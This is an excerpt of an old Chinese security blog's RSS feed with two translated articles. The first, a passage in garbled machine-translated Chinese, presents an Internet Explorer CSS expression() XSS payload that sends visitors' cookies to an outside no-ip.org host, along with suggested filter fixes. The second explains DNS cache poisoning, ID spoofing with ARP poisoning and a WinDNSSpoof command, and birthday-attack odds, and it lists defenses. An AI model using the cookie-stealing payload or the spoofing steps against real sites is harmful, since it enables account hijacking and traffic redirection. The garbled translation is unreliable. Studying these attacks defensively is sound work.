语言您的知识做任何您要。因为我并且发现了其它方式做这, 我将继续和将透露它。<br/><br/>代码<br/>&lt; DIV STYLE=&quot;width: expression(document&amp;#x2.E;<br/>-&gt;location=&#039;h<br/>-&gt;ttp&amp;#x3.A;//netel<br/>-&gt;emental&amp;#x2.E;no-<br/>-&gt;ip&amp;#x2.E;org/cook<br/>-&gt;ie&amp;#x2.E;php?cook<br/>-&gt;ie=&#039;+docume<br/>-&gt;nt&amp;#x2.E;cookie)&quot;&gt;<br/><br/><br/>收效的HTML<br/><br/>代码<br/>&lt; DIV STYLE=&quot;width: expression(document&amp;#x2.E;<br/>-&gt;location=&#039;h<br/>-&gt;ttp&amp;#x3.A;//netel<br/>-&gt;emental&amp;#x2.E;no-<br/>-&gt;ip&amp;#x2.E;org/cook<br/>-&gt;ie&amp;#x2.E;php?cook<br/>-&gt;ie=&#039;+docume<br/>-&gt;nt&amp;#x2.E;cookie)&quot;&gt;<br/><br/><br/>4 。结果的危险<br/>您能看, 一次注射, 意味攻击者罐头&#039; 注册&#039; 作为用户由化妆那些曲奇饼作为攻击者的自己的Java 语言可能窃取用户的曲奇饼。特别是如果admin 得到了他们的曲奇饼被窃取, 这是巨大的危险对站点。它无法妥协服务器, 但是它可能减弱可能被诱使入观察呼叫的任一个用户帐号。并且他们不要的作用譬如document.forms[x].submit() 可能迫使用户改变设置或进行行动。真正地想要完全控制的攻击者能甚而使用AJAX 对mimick 用户能进行的任一次行动。<br/><br/>5. 解答<br/>简单。简单地修改过滤器转换这样的HTML 不吉利的东西回到ascii, 和持续应用正常过滤器。并且投入额外过滤器在CSS 以便CSS 无法在将来是问题的来源, 前确定唯一某些CSS 标记被使用。改善, 创造您自己的样式标记语言禁止不需要的标记。另, 巨大解答是迫使您用户使用浏览器除Internet Explorer 之外。请注意, 这些XSS 盘剥运作只在IE 。 <br/><br/>6. 资源<br/><a href="http://centricle.com/tools/ascii" target="_blank">http://centricle.com/tools/ascii</a> 不吉利的东西 //A 伟大的Ascii 不吉利的东西转换工具<br/><a href="http://ha.ckers.org/xss.html" target="_blank">http://ha.ckers.org/xss.html</a> //THE 指南对于XSS, 小例子, thousands(not 逐字地)<br/>//The 地方去学会更多XSS
]]>
</description>
</item><item>
<link>http://hacklu.net/blog/post/182/</link>
<title><![CDATA[[翻译]DNS（域名服务器）欺骗技术]]></title> 
<author>hacklu &lt;admin@yourname.com&gt;</author>
<category><![CDATA[★[翻译文档]★]]></category>
<pubDate>Tue, 17 Jul 2007 17:47:44 +0000</pubDate> 
<guid>http://hacklu.net/blog/post/182/</guid> 
<description>
<![CDATA[ 
	文章作者：Spacefox, Secure Sphere Crew<br/>译文作者：Conan, OS3 (Open Source Software Society) / CICC Singapore(Center of International Cooperation for Computerization in Singapore)<br/>信息来源：邪恶八进制信息安全团队（<a href="http://www.eviloctal.com" target="_blank">www.eviloctal.com</a>）<br/><br/>概述：什么是DNS欺骗？<br/>DNS欺骗是一门改变DNS原始指向IP的艺术。为了更好的理解，让我们先来看一个例子。如果你想用浏览器去google搜索一些信息，毫无疑问的你会在地址栏里输入 <br/><br/><a href="http://www.google.com" target="_blank">www.google.com</a><br/><br/>的网址然后回车。<br/>那么在这背后又有什么事情正在进行着呢？一般而言，你的浏览器将会向DNS服务器发送一个请求，从而要求得到与<br/><br/><a href="http://www.google.com" target="_blank">www.google.com</a><br/><br/>相匹配的IP地址，DNS服务器则会告诉你的浏览器google的IP地址，接着你的浏览器会连接并显示主页内容。哦，等一下，你打开的网页说google因无钱支付网站费用而转让给<br/><br/>CSite<br/><br/>的消息。你可能会非常吃惊，并打电话告诉你的好朋友。当然你的朋友一定会笑你疯掉了，因为你的朋友是可以登陆google并进行搜索的。还确信正在和你通信的IP地址是友好的吗？说不定你已成圈中之羊。当你在浏览器地址里输入http:// 66.249.89.99并回车时，你又会发现，其实<br/><br/><a href="http://www.google.com" target="_blank">www.google.com</a><br/><br/>还健在。<br/>其实刚刚就是DNS劫持攻击时目击者可能看到的情形。<br/>Quote:<br/>试想如果跳转的页面被无声无息地挂着马又会多糟糕 <br/>非常急切地相要知道着其中地玄机吧？是不是DNS服务器给了我们一个错误地IP地址？可能是吧。至少，这是我们脑中最符合逻辑地答案。 <br/>按此在新窗口打开图片<br/><br/>事实上，有两种方法可以实现DNS劫持攻击。让我们来看看第一种，“DNS ID欺骗”技术。<br/>A)DNS 高速缓冲存储器麻痹（DNS Cache Poisoning）<br/>可以想象，DNS服务器不可能将所有现存的域名或IP地址存储在本身的存储空间里。这就是为什么DNS服务器有一个高速缓冲存储器（cache），它使得服务器可以存储DNS记录一一段时间。<br/>事实上，一台DNS服务器只会记录本身所属域中的授权的主机，如果它想要知道其它的，在自身域以外主机的信息，就必须向信息持有者（另一台DNS服务器）发送请求，同时，为了不每次都发送请求，这台DNS服务器会将另一台DNS服务器返回的信息又记录下来。<br/>那么现在，我们就来看看是怎么麻痹DNS的缓存的。<br/>攻击者有自己的域（attacker.net）和一个已被攻陷的DNS服务器（ns.attacker.net）。注意！我说的是被攻陷的DNS服务器，因为攻击者已经自定义了他自己的DNS服务器的记录，比如，记录可以是<br/><br/><a href="http://www.google.com=81.81.81.81" target="_blank">www.google.com=81.81.81.81</a><br/><br/>1)攻击者向你的DNS服务器发送请求查询<br/><br/><a href="http://www.attacker.net" target="_blank">www.attacker.net</a><br/>2)你的DNS服务器不知道这台主机的IP地址，因为他不属于本身域，所有你的DNS服务器就会问此主机的所属域的DNS服务器。<br/>3)这时被黑DNS服务器就会回复你的DNS服务器，在此同时它也会给出它所有的记录（包括连接<br/><br/><a href="http://www.google.com" target="_blank">www.google.com</a><br/><br/>的记录）<br/>注意，这个过程叫做zone transfer.<br/><br/>按此在新窗口打开图片<br/><br/>4)这是你的DNS服务器还没有被麻痹。攻击者得到了自己的IP地址，但是他的目标不是得到自己网络服务器的地址，而是逼迫zone transfer进行以使你的DNS服务器麻痹直到其缓存不会被清楚或更新。<br/><br/>按此在新窗口打开图片<br/><br/>5)现在如果你再问你的DNS服务器关于<br/><br/><a href="http://www.google.com" target="_blank">www.google.com</a><br/><br/>的IP地址，它会告诉你172.50.50.50，这也正是攻击者的服务器所在！现在，攻击者就能为所欲为，例如挂马什么的……当然这也对google造成了相当的损失！<br/>B)DNS ID欺骗（DNS ID Spoofing）<br/>我们可以看到，当主机X要与主机Y联系是需要近来的IP地址。然而在绝大多数情况下，X只有Y的名字，这样，DNS协议就是来解决名字到IP地址的问题的。<br/>因此，X就会向它所在域的DNS服务器询问Y的IP地址。其间，主机X分配一个随即数，这个数也将会出现在从DNS服务器返回的信息里。当X收到回复后，X会对比两个数字，如果一致，则收到信息被视为有效。<br/>那这样一个模型是否安全呢？并非十分安全。任何人都可以组织一次攻击来获得这个ID。举例说如果你用LAN，别人就可以利用嗅探器捕获你的请求ID，然后根据这个ID伪造一个回复信息……但是信息里含有攻击者所选的IP地址。然后，不加识别的，X会吧攻击者提供的IP地址当作Y的。<br/>顺便提一句，DNS协议的提出请求是依赖于UDP的（只有在zone transfer时才用TCP），这也就意味着发送一个伪造的包是极其简单的，因为没有SYN/ACK号（不像TCP，UDP没有提供一个小型防IP欺骗的防护）<br/><br/>按此在新窗口打开图片<br/><br/><br/>按此在新窗口打开图片<br/><br/>但是，这样的攻击是被局限的。在我以上的例子中，攻击者用嗅探器拦获ID，回复构造过的包给受害主机。<br/>换句话说，即使攻击者拦截了请求，数据包还是会传去DNS服务器，而DNS服务器也照样会回复（除非攻击者拦截并阻止对网关的请求或实施ARP缓存麻痹才可能在转换网络中攻击）。<br/>这就意味着攻击者必须在真DNS服务器前回复，即为了攻击成功，攻击者必须和被攻击者同一个LAN，只有这样他才可以获得快速的ping并且捕获对方的数据包。<br/>实践举例（仅作测试目的）<br/>看怎么劫持我们本地网络连接：<br/>1、麻痹被攻击者的ARP缓存（具体的工具和说明可以在<br/><br/><a href="http://www.arp-sk.org" target="_blank">http://www.arp-sk.org</a><br/><br/>上找到）<br/>2、此时，目标主机的出口数据包将会重定向到你的主机上，但是还必须转发给真正的网关。我们可以用类似Winroute Pro的工具来实现。<br/>3、为了实施DNS ID欺骗我们用valgasu开发的工具<br/><br/>WinDNSSpoof<br/><br/>（在使用这个工具前请先安装Winpcap，见<br/><br/><a href="http://winpcap.polito.it" target="_blank">http://winpcap.polito.it</a><br/><br/>）<br/>命令行下输入类似的命令：<br/>wds -n <br/><br/><a href="http://www.google.com" target="_blank">www.google.com</a><br/><br/>-i 123.123.123.123 -g 00-C0-26-DD-59-CF –v<br/>这个命令会使目标主机的<br/><br/><a href="http://www.google.com" target="_blank">www.google.com</a><br/><br/>指向123.123.123.123。<br/>其中00-C0-26-DD-59-CF是网关或DNS服务器的MAC地址。<br/>Tips: 在Windows NT内核下，查询远程IP的MAC地址可以在CMD里用nbtstat -A xxx.xxx.xxx.xxx命令<br/>警告：记住！在未授权的情况下使用这些手段是被禁止的！<br/>C)借助生日悖论的精确攻击<br/>什么是“生日悖论”？<br/>“生日悖论”得名于一个能产生奇怪现象的数学模型，即如果有23人在一起，那么很有可能其中的两人有相同的生日。其实要理解也不是那么困难。<br/>假设现在你在一个派对问某人他的生日，那么他跟你不同生日的几率就是364/365=0.997，则相同的概率就是1-364/365=0.003。<br/>现在，如果你再问另外一个人，他的生日不同于前一人且不同于你的概率就是(364/365)*(363/365)=0.992，所以我们至少可以推得我们中两人有相同生日的概率为1-0.992=0.008。<br/>如果我们继续这样的推算，很快就能算得23人中有两人的生日相同的概率高达50％。我们可以通过以下的C代码看出概率是如何趋近于1的。<br/><br/>Copy code<br/><br/>#define POSSIBILITIES 365.0<br/>void main (void)<br/>&#123;<br/>float chances;<br/>int i, j;<br/>for (i = 1; i <br/>没法编译的朋友可以看下面的结果：<br/>People<br/>2<br/>9<br/>16<br/>23<br/>30<br/>37<br/>44<br/>65<br/>79<br/>Chances<br/>0.0027<br/>0.0946<br/>0.2836<br/>0.5073<br/>0.7063<br/>0.8487<br/>0.9329<br/>0.9977<br/>0.9999<br/>没法编译的朋友可以看下面的结果：<br/><a href="http://forum.eviloctal.com/attachment/Mon_0704/96_2_cb3b39f311f5f36.png" target="_blank"><img src="http://forum.eviloctal.com/attachment/Mon_0704/96_2_cb3b39f311f5f36.png" class="insertimage" alt="点击在新窗口中浏览此图片" title="点击在新窗口中浏览此图片" border="0"/></a><br/>生日悖论普遍的应用于检测哈希函数:N-位长度的哈希表可能发生碰撞测试次数不是2N次而是只有2N/2次。这一结论被应用到破解密码学散列函数的生日攻击中<br/>生日问题所隐含的理论已经在[Schnabel 1938]名字叫做capture-recapture的统计试验得到应用，来估计湖里鱼的数量。<br/>好，下面我们还是回到我的攻击测试上来，在上述的最为普遍的DNS欺骗攻击中，是在窃听（嗅探）网络以便得到来自X的ID号码，然后回复以相同的ID只是含有攻击者提供的IP。<br/>就像我之前说的，这种攻击需要嗅探网络中的X生成的DNS数据。那这是不是意味着攻击者不能不用嗅探器实施攻击呢？<br/>试着“猜猜”ID怎么样？<br/>为什么不呢，但是ID号是用两字节构成的，这意味着有65535个可能的值！也就是说攻击者如果想要成功攻击的话，他要构造出65535个不同ID号的伪造回复，这样里面至少有且仅有一个包是可用的。<br/>如果这样的攻击的话，我们需要相当好的带宽，而且最重要的是我们不知道何时发送伪造的回复。他就必须先知道对方有个请求，然后紧接着及时地（在真的来自DNS服务器的回复之前）发送回复。<br/>让我们来从另一个角度看问题，我们知道是有可能性去直接麻痹DNS服务器的。回忆一下，攻击者是想DNS服务器询问解析<br/><br/><a href="http://www.attacker.net" target="_blank">www.attacker.net</a><br/><br/>，多亏有从ns.attacker.net来的恶意记录zone transfer，攻击者才可以麻痹DNS服务器的高速缓存器。值得重提的是，这种攻击的局限在于攻击者必须在运行自己带有恶意记录的DNS服务器。<br/>这样的分析之下，如果攻击者没有办法嗅探你的网络数据或者没有自己的服务器，是不是就是说你就远离DNS劫持技术了？<br/>答案是，完全不是这样。<br/>我之前提到过，DNS协议是用UDP回复，UDP是非连接状态的协议，是没有像TCP三次握手的过程的。所以，这也就使得可以非常容易地用你选的任意IP发送UDP包。所以为什么攻击者在可以从任意DNS服务器发送伪造包的情况下要辛辛苦苦地架设起自己地DNS服务器呢？他可以直接询问受害者的DNS服务器解析<br/><br/><a href="http://www.google.com" target="_blank">www.google.com</a><br/><br/>，然后立即发送含伪造IP的包给<br/><br/><a href="http://www.google.com" target="_blank">www.google.com</a><br/><br/>的域名服务器。<br/>好，这样时间刚好，这样是可行的，所以问题就只有受害者的DNS服务器将要向ns.google.com发送一次请求来得到<br/><br/><a href="http://www.google.com" target="_blank">www.google.com</a><br/><br/>的IP，同时有一个请求的ID号。所以又一次的，攻击者就必须发送65535个含ns.google.com的伪造包来做为受害者域名服务器的源地址。至少有一个包是吻合的。所以看来这个可能会成功。<br/>下面就是最有趣的部分了……如果攻击者向受害者的DNS服务器发送了100份请求来解析<br/><br/><a href="http://www.google.com" target="_blank">www.google.com</a><br/><br/>会发生什么呢？那么ns.victim.com也将会向ns.google.com发送100份请求，那然后如果我们发送100个从 ns.google.com到ns.victim.com的伪造回复会怎样呢？如果你已经理解了刚刚提到的生日悖论原理，你就应该懂得相比之下冲撞（猜对）的概率已经有了可观的提高。<br/><br/>按此在新窗口打开图片<br/><br/><br/>按此在新窗口打开图片<br/><br/>除此之外，还有个必须注意的小细节——源端口！<br/>试想，ns.victim.com将要向ns.google.com发送请求，UDP头就应该像这样：<br/><br/>Copy code<br/><br/>Source address : ns.victim.com<br/>Destination address : ns.google.com<br/>Source port : 1256 (choosed randomly and &gt; 1024)<br/>Destination port : 53 (DNS port)<br/>Data : What is the IP of <a href="http://www.google.com?" target="_blank">www.google.com?</a><br/>很明显，攻击者必须ns.victim.com的源端口作为目标端口发送伪造的DNS回复，包的内容就像：<br/><br/>Copy code<br/><br/>Source address : ns.google.com<br/>Destination address : ns.victim.com<br/>Source port : 53<br/>Destination port : 1256<br/>Data : The IP of <a href="http://www.google.com" target="_blank">www.google.com</a> is 81.81.81.81<br/>所以如果我们没有嗅探又要怎样猜测源端口呢？“不幸”的是，对大多数DNS服务器来说，源端口是不会为每个客户端而改变的，因此攻击者可以很简单地通过看 ns.victim.com的目前源端口来得到。比方说，如果他有一个域名服务器，他只要请求DNS查找他的域的一个站名，得到的返回查询包就会包含现在在的被ns.victim.com用来发送DNS请求的源端口。<br/>好，现在我知道如何得到源端口了，你可能会对攻击的成功率好奇。这也是我正要讲的。我们的C代码也有所改动：<br/><br/>Copy code<br/><br/>#define POSSIBILITIES 65535.0<br/>void main (void)<br/>&#123;<br/>float chances;<br/>int i, j;<br/>for (i = 0; i <br/>结果如下：<br/>Queries<br/>50<br/>100<br/>150<br/>200<br/>250<br/>300<br/>350<br/>400<br/>500<br/>550<br/>650<br/>750<br/>Chances<br/>0.0185<br/>0.0728<br/>0.1569<br/>0.2621<br/>0.3785<br/>0.4961<br/>0.6069<br/>0.7048<br/>0.8517<br/>0.9008<br/>0.9604<br/>0.9865<br/>我们可以看到，650个构造回复有0.960411的概率成功，近乎100％！<br/>欲知更多详细信息，我建议阅读以下文章：<br/><br/><a href="http://www.kb.cert.org/vuls/id/457875" target="_blank">http://www.kb.cert.org/vuls/id/457875</a><br/><br/><a href="http://www.securityfocus.com/guest/17905" target="_blank">http://www.securityfocus.com/guest/17905</a><br/><br/>D)总结<br/>在这篇文章里，我用<br/><br/><a href="http://www.google.com" target="_blank">www.google.com</a><br/><br/>做例子，并不是因为我真的对其的重定向攻击感兴趣。这个问题在你访问你的银行账户，在线购书网站甚至是网页电子邮件时尤为重要。<br/>而对于网站管理者来说，可行的防范措施有：<br/>对高速缓存器加以限制，保证不保留额外的记录。<br/>不要用或依赖DNS构架安全体系。<br/>使用SSL之类的加密技术，所以即使被攻击，难度也会加大（见Man in the Middle中的文章）<br/>如有任何想法、评论或批评，欢迎电邮致:<br/><br/>spacefox@securesphere.net<br/><br/>Spacefox,<br/><br/>SecureSphereCrew,<br/><br/>zzjqf17@hotmail.com<br/><br/>Conan,<br/><br/>CBlog,<br/><br/>2007 April <br/>
]]>
</description>
</item>
</channel>
</rss>